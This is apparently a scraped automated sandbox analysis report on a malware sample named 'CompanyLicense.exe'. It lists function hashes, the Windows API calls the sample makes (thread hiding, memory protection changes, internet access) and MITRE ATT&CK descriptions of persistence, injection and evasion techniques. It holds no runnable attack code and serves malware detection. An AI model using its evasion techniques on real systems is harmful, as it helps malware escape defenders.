Instruction ID: 0f53d5845e9e03967720a4a842f6af105994810e9e70d1ac3283b332fdf6ecbc
Opcode Fuzzy Hash: 6624410d494d2cbd570f373df4ac4c2dc275bd7830bf4ed86f4040004c6ff9e0
Instruction Fuzzy Hash: B2A1A570A043428EDF25DF38C4D8739BE91BF66364F54C799E5A58F2E6CA348842C726

Uniqueness

Uniqueness Score: -1.00%

Function 0056910C, Relevance: 1.7, APIs: 1, Instructions: 176
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetInformationThread.NTDLL ref: 0056958E

Memory Dump Source

Source File: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_CompanyLicense.jbxd

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: fecfd0d1c2151d77cc98b26efee1cbc1d6d3be94cd1b3b575fdf8d7702d5cff3
Instruction ID: f2b03f30767e698402bd6ec86e370cb051658c098484baef9bc7e22f2bb6b046
Opcode Fuzzy Hash: fecfd0d1c2151d77cc98b26efee1cbc1d6d3be94cd1b3b575fdf8d7702d5cff3
Instruction Fuzzy Hash: C951AF25C498C64BC71306B55458380FFB77FA2A34F8922E9DDA703526DB726DB487C2

Uniqueness

Uniqueness Score: -1.00%

Function 00568FE0, Relevance: 1.6, APIs: 1, Instructions: 134
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetInformationThread.NTDLL ref: 0056958E

Memory Dump Source

Source File: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_CompanyLicense.jbxd

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 1083d16a5d037d2fe77abea0e78a05fe40d1023403d8b862aa5655e6446e527b
Instruction ID: 5af5dd7a5d4f5d5513a81c45093747a50a3f74192ba6742457940ef38df1633c
Opcode Fuzzy Hash: 1083d16a5d037d2fe77abea0e78a05fe40d1023403d8b862aa5655e6446e527b
Instruction Fuzzy Hash: 9041C421D088C64BC72306B49458394FFB77F62628F8521D9DDA703566D7726DB4C7C2

Uniqueness

Uniqueness Score: -1.00%

Function 00569436, Relevance: 1.6, APIs: 1, Instructions: 103
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetInformationThread.NTDLL ref: 0056958E

Memory Dump Source

Source File: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_CompanyLicense.jbxd

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 1e22825d7a5db01c988214b0c8b7df49702fd5f8e987e5f8a87dbbe953031994
Instruction ID: 5a881b913e50ba4896c375fa2e842d8d5a0b4a785aef45db3e41f488fb53f874
Opcode Fuzzy Hash: 1e22825d7a5db01c988214b0c8b7df49702fd5f8e987e5f8a87dbbe953031994
Instruction Fuzzy Hash: FC310C25C498C60BC22306B55459380FFBA3E62A38FC921D99DA60353AD7736DB887D3

Uniqueness

Uniqueness Score: -1.00%

Function 00568EC6, Relevance: 1.6, APIs: 1, Instructions: 93
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetInformationThread.NTDLL ref: 0056958E

Memory Dump Source

Source File: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_CompanyLicense.jbxd

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 00cec7d45faa68c3394dbd45594f487b17c93b1af1f42a03ae381eb91b5e5bcb
Instruction ID: 0f4adc85efd90a0c5ff55c0c9d5f1633d4d46e43116c89b83198aa0f8601c2c8
Opcode Fuzzy Hash: 00cec7d45faa68c3394dbd45594f487b17c93b1af1f42a03ae381eb91b5e5bcb
Instruction Fuzzy Hash: 63314C31A00605CEEB2A5E24C8587B87FEAFFA1328FA44629C9138B594D73688C4C746

Uniqueness

Uniqueness Score: -1.00%

Function 005695B9, Relevance: 1.6, APIs: 1, Instructions: 91
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetInformationThread.NTDLL ref: 0056958E

Memory Dump Source

Source File: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_CompanyLicense.jbxd

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 81ba387514b4b9f58f765cde2aa5d0714d00e8ecfb57320ee9bf84fcadf8b792
Instruction ID: 2aef6c200dcab7a49ca3bf2fe90cfc2d21fe9bc9097b17a99e332a54d576ec61
Opcode Fuzzy Hash: 81ba387514b4b9f58f765cde2aa5d0714d00e8ecfb57320ee9bf84fcadf8b792
Instruction Fuzzy Hash: 4F31EC15C498CB07C21306B55459280FFBB3D63928BC921D99DB70353AD7632DB887D3

Uniqueness

Uniqueness Score: -1.00%

Function 00568B16, Relevance: 1.5, APIs: 1, Instructions: 13nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,005684C3,00000040,005632BD,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00568B2F

Memory Dump Source

Source File: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_CompanyLicense.jbxd

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: a78abbb85f94ead657e0bc70dedec558cc72e12d4b27a68168c1e001d587ddff
Instruction ID: 8f5be131a22dbd2915fdb11b102d5d31c6b110a07b1c5addfdb7a0585f941792
Opcode Fuzzy Hash: a78abbb85f94ead657e0bc70dedec558cc72e12d4b27a68168c1e001d587ddff
Instruction Fuzzy Hash: 37C012E02240002E68048A28CD48C2BB2AA86C4A28B10C32CB832222CCC930EC048032

Uniqueness

Uniqueness Score: -1.00%

Function 005647B3, Relevance: 3.1, APIs: 2, Instructions: 146
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(00565030,00000000,00000000,00000000,00000000), ref: 00564759
InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 005648C9

Memory Dump Source

Source File: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_CompanyLicense.jbxd

Yara matches

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 0db7620123b624f9784a21a45176f9fee9e76534ac55bbfa6cf439f7cbe1218d
Instruction ID: b379d3df44972c37aa93222ec403f197c8dd8476f47b578ff1a2b68dd63bb007
Opcode Fuzzy Hash: 0db7620123b624f9784a21a45176f9fee9e76534ac55bbfa6cf439f7cbe1218d
Instruction Fuzzy Hash: 15514820C88ACB07D73206B44C653D4FFB77F42A14F8411E9ADAA47562E7726DB48BD2

Uniqueness

Uniqueness Score: -1.00%

Function 0056474B, Relevance: 3.1, APIs: 2, Instructions: 99
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(00565030,00000000,00000000,00000000,00000000), ref: 00564759
InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 005648C9

Memory Dump Source

Source File: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_CompanyLicense.jbxd

Yara matches

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: c806c257683450e607116dd28127b7ea244bcee24aac477895ea219b98476499
Instruction ID: ec2fac4ecf6722a138af9a4c82795f186490357923e8f9c52b1e62ff3d3204cf
Opcode Fuzzy Hash: c806c257683450e607116dd28127b7ea244bcee24aac477895ea219b98476499
Instruction Fuzzy Hash: 8A31943028038BAFEF309E64CC95BEE3AA6BF40740F508525FD499B590E7729A80DF14

Uniqueness

Uniqueness Score: -1.00%

Function 0056652A, Relevance: 1.7, APIs: 1, Instructions: 233
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_CompanyLicense.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d63b3d7f884463b7b86cac8e85bc1e0ea578b50880383fc9459a366bac0f3fdf
Instruction ID: 4f2e12fbdbbc84cceaac4a215dd226eca634f92652f6af262f788470f86d8982
Opcode Fuzzy Hash: d63b3d7f884463b7b86cac8e85bc1e0ea578b50880383fc9459a366bac0f3fdf
Instruction Fuzzy Hash: AB815805C4D8C707C22302B5586A190FFBA7DA3924BC921DEADE64352BDB522DB487D3

Uniqueness

Uniqueness Score: -1.00%

Function 005662F8, Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLongPathNameW.KERNEL32(?,?,00000200), ref: 00566409

Memory Dump Source

Source File: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_CompanyLicense.jbxd

Yara matches

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 8d7eca571039ba57eb9a651f958af724f28c0b75998a5e68d59cebb86131729d
Instruction ID: d464df362d2051177ad77dc40407c2556f929e4ed9738446eb5cb0d22ff748f6
Opcode Fuzzy Hash: 8d7eca571039ba57eb9a651f958af724f28c0b75998a5e68d59cebb86131729d
Instruction Fuzzy Hash: 8A31D809C4D9C747C21302B51859290FF7A3DA3828BC921DAADE74352BDB527D788BD3

Uniqueness

Uniqueness Score: -1.00%

Function 00566F6E, Relevance: 1.6, APIs: 1, Instructions: 84
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?,321C9581,?,00568349,005632BD,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 005670A8

Memory Dump Source

Source File: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_CompanyLicense.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9c6579e6e1d494bcebf3d3d45942a780aaee11cae329b57b1be1856aef88c9f0
Instruction ID: 721ecd3894ca084b228b8841ea60466b1860a73fb9e8db5f12ba839da272e776
Opcode Fuzzy Hash: 9c6579e6e1d494bcebf3d3d45942a780aaee11cae329b57b1be1856aef88c9f0
Instruction Fuzzy Hash: 9C218C05C4D9CB03C62216F52459254FF763DA2938BC531DEADE60352BDB622DB44BE3

Uniqueness

Uniqueness Score: -1.00%

Function 00562D8F, Relevance: 1.6, APIs: 1, Instructions: 67
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TerminateThread.KERNEL32(000000FE,00000000), ref: 00562ECA

Memory Dump Source

Source File: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_CompanyLicense.jbxd

Yara matches

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: ca0d9b70fe0d9983a5b9164d56431518c93dad3cd5572cca66b608f20cba59c7
Instruction ID: bee02711e065faa4ec4cd70475220f30accd74e7f8d5b1de8149e97ce2477653
Opcode Fuzzy Hash: ca0d9b70fe0d9983a5b9164d56431518c93dad3cd5572cca66b608f20cba59c7
Instruction Fuzzy Hash: FD019A70504300AFE7118B68CD8AF597F78FF06325F2116D2E922DB2E2C27AD944CB21

Uniqueness

Uniqueness Score: -1.00%

Function 00562DB8, Relevance: 1.5, APIs: 1, Instructions: 48
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TerminateThread.KERNEL32(000000FE,00000000), ref: 00562ECA

Memory Dump Source

Source File: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_CompanyLicense.jbxd

Yara matches

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 7ac7241c32b1d5aec292323bd9fc0e90fc992831f8f173f807a8dd4001d962a3
Instruction ID: cf139ac06cc818f527259e6079825823f819f1f9e00f038d706e3abde67c1bbc
Opcode Fuzzy Hash: 7ac7241c32b1d5aec292323bd9fc0e90fc992831f8f173f807a8dd4001d962a3
Instruction Fuzzy Hash: 97017CB0500704AFE7108B54DDC9F597F64FF15325F211291F9129B2E2D37ADD80C621

Uniqueness

Uniqueness Score: -1.00%

Function 00566F5A, Relevance: 1.5, APIs: 1, Instructions: 31
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?,321C9581,?,00568349,005632BD,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 005670A8

Memory Dump Source

Source File: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_CompanyLicense.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f73005b374b5b0d115f1012be917be70e080a8666df267e42468d40e741d539c
Instruction ID: 1a0de0a03019528d6c5b9be98d964161e11ed1cd0f99eb0c81d580550c6e88ea
Opcode Fuzzy Hash: f73005b374b5b0d115f1012be917be70e080a8666df267e42468d40e741d539c
Instruction Fuzzy Hash: 9CE0229010CB8EB8CF203F74A80CF7E1D08BFE87BCF60AA56F445871068A3489804CB2

Uniqueness

Uniqueness Score: -1.00%

Function 0056414A, Relevance: 1.5, APIs: 1, Instructions: 12fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00564127,00564170), ref: 00564162

Memory Dump Source

Source File: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_CompanyLicense.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: cda1dba48740bd7b96318cf17742556920cb9191cb371ca8628f9592a64ccb55
Instruction ID: fb4e8a10fca13062ed22e8844e0c5964df734744d4ab3234c114c16073b3e70e
Opcode Fuzzy Hash: cda1dba48740bd7b96318cf17742556920cb9191cb371ca8628f9592a64ccb55
Instruction Fuzzy Hash: 90C09B717D4304B6FE3486209D5BFC562155F50F00F508509BF493C1C557F15551C519

Uniqueness

Uniqueness Score: -1.00%

Function 005662F3, Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,00000200), ref: 00566409

Memory Dump Source

Source File: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_CompanyLicense.jbxd

Yara matches

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 2be7c1feb4ecd39644906e0085743717e45d92d3ff050de8aabb7bb5476945b2
Instruction ID: 627c620c6dbd80c6e5f57b96f72c8ae5dde91e8ed2f716539693220a1849ff15
Opcode Fuzzy Hash: 2be7c1feb4ecd39644906e0085743717e45d92d3ff050de8aabb7bb5476945b2
Instruction Fuzzy Hash: 6DC04075304301FBD7549654CCC5F5AB664BB54701F505C15F596C7245C530D8445735

Uniqueness

Uniqueness Score: -1.00%

Function 0056726E, Relevance: 1.5, APIs: 1, Instructions: 10libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 0056727C

Memory Dump Source

Source File: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_562000_CompanyLicense.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9b021fd2fe38c264aad87d2315d1c818bad1e5889d60c321bfaa3c6a802403c5
Instruction ID: 7cdab13a9082c8b8e5f68036e5ba89e3e520b4c2c5fdfe8e834c7e88764a9b33
Opcode Fuzzy Hash: 9b021fd2fe38c264aad87d2315d1c818bad1e5889d60c321bfaa3c6a802403c5
Instruction Fuzzy Hash: A5C04C7551060EBBCF115FA0DD2CBCF3BAAFF06351F508614FA25960A4CB3585759B11

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report CompanyLicense.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Memory Dumps

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Code Manipulations

Statistics

Function 020A0D52, Relevance: 9.3, APIs: 2, Strings: 3, Instructions: 527
COMMON

Function 020A0BD7, Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 481
COMMON

Function 020A34CD, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 242
COMMON

Function 020A08D5, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109
nativethreadCOMMON

Function 020A474B, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 172
nativethreadCOMMON

Function 020A35EF, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 150
nativeCOMMON

Function 020A0917, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 142
nativethreadCOMMON

Function 020A35E2, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134
nativeCOMMON

Function 020A36D0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 188
nativeCOMMON

Function 020A833C, Relevance: 1.8, APIs: 1, Instructions: 270
COMMON

Function 004041A1, Relevance: 1.4, APIs: 1, Instructions: 166
memoryCOMMONCrypto

Function 0040E7AA, Relevance: 340.0, APIs: 182, Strings: 11, Instructions: 2220
COMMON

Function 020A1C14, Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 71
registryCOMMON

Function 00401480, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17
COMMON

Function 020A9248, Relevance: 1.8, APIs: 1, Instructions: 333
COMMON

Function 020A652A, Relevance: 1.7, APIs: 1, Instructions: 233
COMMON

Function 020A0DEA, Relevance: 1.7, APIs: 1, Instructions: 224
COMMON